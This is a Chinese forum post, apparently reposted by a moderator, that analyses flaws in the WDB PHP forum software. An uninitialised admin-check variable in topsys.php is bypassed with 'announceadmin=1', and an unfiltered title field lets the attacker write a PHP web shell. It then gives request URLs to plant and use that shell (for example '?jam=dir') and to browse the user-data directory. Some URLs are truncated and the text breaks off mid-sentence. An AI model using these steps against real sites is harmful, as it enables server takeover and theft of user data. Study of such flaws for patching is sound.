- 铜板
- 4187
- 金币
- 30
- 在线时间
- 10718 小时
- 注册时间
- 2004-10-24
- 帖子
- 23029
版主
简单的生活让人轻松快乐,简单的欲望让人平和宁静
  
- 铜板
- 4187
- 金币
- 30
- 在线时间
- 10718 小时
- 注册时间
- 2004-10-24
- 帖子
- 23029
|

网络论坛大漏洞
< >前言:<BR>我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,“不就是在一个变量后面嵌入你的sql语句么,这个我也会”,这是我听到最多的人们对WEB安全的认识,WEB安全难道仅仅是sql injection,当然不是!sql injection只不过是冰山一角罢了。认为注入就是WEB安全全部的人们阿,睁大你的眼睛,看我用实际行动给你一击响亮的耳光吧!</P>< >描述:<BR>最近在读WDB论坛,这个论坛很好看,风格华美而且和LB5有一点相像,但是安全性实在是不敢恭维,如果我说平均5个文件就有一个漏洞,那是一点都不夸张,虽然作者好像已经有意的作了一些防范,但是过滤不是非常严格。导致恶意用户或者非典型恶意用户可以写入自己的代码,然后可以执行自己语句进而控制整个系统。</P>< >一、topsys.php全局变量未初始化导致控制整个论坛</P>< >1、漏洞分析</P>< >topsys.php是管理员用来集中管理论坛总制顶贴子的文件,这个文件可用来对论坛帖子实现总制顶,清空,删除等操作, 就是这样的小小的文件,由于编程人员对其中的个别变量没有初始化,却带来了可以控制整个论坛,甚至整个控制系统的危害。<BR>让我们先看看,要如何绕开限制先,部分代码如下:<BR>=========codz begin===========<BR>13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;}<BR>14 //----让增加的管理员有权管理!----------<BR>15 if (file_exists("datafile/admin_user.php")) {<BR>16 include("datafile/admin_user.php");<BR>17 if ($admin_user && in_array($username,$admin_user)) {<BR>18 $announceadmin=1;<BR>19 }<BR>20 }<BR>21 //----让增加的管理员有权管理!----------<BR>22 $musia=0;<BR>23 if ($announceadmin==1) $musia=1;<BR>=========codz endz============</P>< >我们从第13行的检查可以看出来,他这段代码就是为了判定是不是有管理员权限,如果有的话则设定$announceadmin变量为1,好,后面管理员没忘记初始化一下$musia,然后检查$announceadmin变量是不是为1,如果为1,再设定$musia变量为真。这里我们先不管,往后面看。<BR>再来看一段代码:</P>< >=========codz begin===========<BR>150 if ($job=="write") {<BR>151 if ($announceadmin!=1) {require("header.php");<BR>152 echo "对不起,未登陆或者身份不正确,请 <a href=javascript:history.back(1);>返回检查</a>";<BR>153 require("footer.php");<BR>154 exit;}<BR>//后面进行制顶操作......<BR>=========codz endz============</P>< >程序是如何验证管理员身份呢?编程人员就凭借了一个值来进行判断。他这里检查announceadmin变量是否为1,如果不为1,则报错说身份不正确(不是管理员)。好了,回过头去看一下,刚才那看似严密的验证,你想到什么了没有?大家可能都发现了,那个用来检查是否有管理员权限的值却并没有做初始化,那么如果我们直接构造语句提交$announceadmin=1。我们就可以用管理员权限来发布、删除制顶的帖子。我们来试试看,提交<BR><A href="http://bbs.target.com/topsys.php?announceadmin=1" target=_blank>http://bbs.target.com/topsys.php?announceadmin=1</A><BR>我们已经能看出来和刚才有什么不一样了,多了管理员的管理模块,好我们找个贴子制顶,提交URL如下:<BR><A href="http://bbs.target.com/topsys.php?announcea...tent=hello" target=_blank>http://bbs.target.com/topsys.php?announcea...tent=hello</A>,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我们这里把第一个论坛的第27个贴子,标题为"hello,this is Jambalaya"的贴子制顶了。回车看看,哈哈,我们成功了。这里我们用相同的方法可以去删除,清空总制顶的贴子,这里再去分析就有点浪费时间了,大家自己看吧。高兴一阵子后,想起来了,我们怎么能控制整个网站呢?HOHO~~真正的攻击在这里呢......跟我来~~~~~</P>< >上面这些没什么,无非就是能以管理员身份总制顶、清空和删除帖子,其他的什么也做不了了,但我们却成功的绕过了对管理员权限的验证,绕过之后的我们是与众不同的,不信?呵呵,wait and see...<BR>我们来看下面的代码:</P>< >=========codz begin===========<BR>165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php");<BR>166 else $msg[0]="";<BR>167<BR>168 $content=stripslashes(safe_convert($content));<BR>169 $title=stripslashes(safe_convert($title));<BR>170 $title="".$title;<BR>171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php<BR>172 $new="$user|$title|$timestamp|$content|$member\n";<BR>173<BR>174 $oldcount=count($msg);<BR>175 if ($oldcount>$msgg_max) {<BR>176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg);<BR>177 }<BR>178<BR>179 $old=implode("",$msg);<BR>180 writetofile("datafile/topsys.php",$new.$old);<BR>=========codz endz============</P><P>这些是我们得到管理员权限后可以看到的东西,让我们看看,他首先检查是不是存在datafile/topsys.php,这个文件是用来纪录那些制顶的贴子的。好了,看看他都写入了什么?writetofile("datafile/topsys.php",$new.$old)从这句可以看出,他将$new.$old写入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那个safe_convert函数看着有点吓人。但对安全的人来说,细心、耐力是不可以缺少的,否则所谓的好运是不会主动找到你的。为了不放过一个细节,我们还是看一下这个函数,看看是不是存在过滤不严。于是去global.php翻出这个函数:<BR>=========codz begin===========<BR>837 function safe_convert($d) {<BR>838 $d = str_replace("\t","",$d);<BR>839 $d = str_replace("<","<",$d);<BR>840 $d = str_replace(">",">",$d);<BR>841 $d = str_replace("\r","<br>",$d);<BR>842 $d = str_replace("\n","",$d);<BR>843 $d = str_replace("|","│",$d);<BR>844 $d = str_replace(" "," ",$d);<BR>845 return $d;<BR>846 }<BR>=========codz endz============</P><P>看完之后,一身冷汗,过滤得很严嘛,几个重要的字符基本上都被他消灭了。看来想从这里找到过滤不言的地方是不大可能了。回去看其他几个变量,剩下的就一个$member了,上下文扫一眼。嗯,这个我们可以控制。我们就用这个值向文件里写入我们自己的代码。<BR>喂!等一下!等一下!其实看到这里就可以开始写攻击方法了,但是我们打住一下。仔细看一下我们的代码,和我的分析过程,其实这里有我们忽略的一点,你注意到了么?没有?重新来看一遍。<BR>假设这里$member变量也被过滤了,我们还有什么方法?仔细看看,其实那个$title变量并没有真正的被过滤,这里编程人员犯了一个严重的逻辑错误。他在一开始就对$title进行过滤是没错的,但是他却在过滤之后重新给$title赋值,这就不对了,来看看这句:"if($filename) $title=$title."&filename=".$filename"。他在对title严格的过滤后,又给title这个变量重新赋入新值,而这个这个新值并没有经过任何过滤。那么我们用这个新值完全可以写入自己的代码。就好像给一个防御者一把坚实的盾牌之后,在盾牌中间挖了一个大洞,然后对弓箭手说:"好了,你们可以放箭了"。<BR>从这里可以看出任何一个细节的不注意,都会让自己的防御土崩瓦解。</P><P>2、攻击方法<BR>该分析都分析完了,"君子动手不动口",来,来,上手了~~~~<BR>我们既然可以向里面写入代码,那我们写些什么呢?0.001秒的思考之后,我决定写入一个shell进去。我们要一次性写入所有东西。先注册一个用户:<BR>username:Jambalaya<BR>password: itaq.org<BR>然后发个帖子,标题是"我test一下哈",内容是"我是Jambalaya,我来自www.itaq.org,大家有工夫过来玩啊"。哈哈,提交下面的URL:<BR><A href="http://bbs.target.com/topsys.php?announcea..." target=_blank>http://bbs.target.com/topsys.php?announcea...</A>#036;jam);?><BR>然后直接访问http://bbs.target.com/topsys.php?jam=dir,看看,怎么样?一个shell做成了~~~~<BR>dir一下看看里面的目录,看到user_jkljkl是保存用户的目录,提交URL:<BR>target=_blank>http://bbs.target.com/user_jkljkl/用户名,?....没 |
|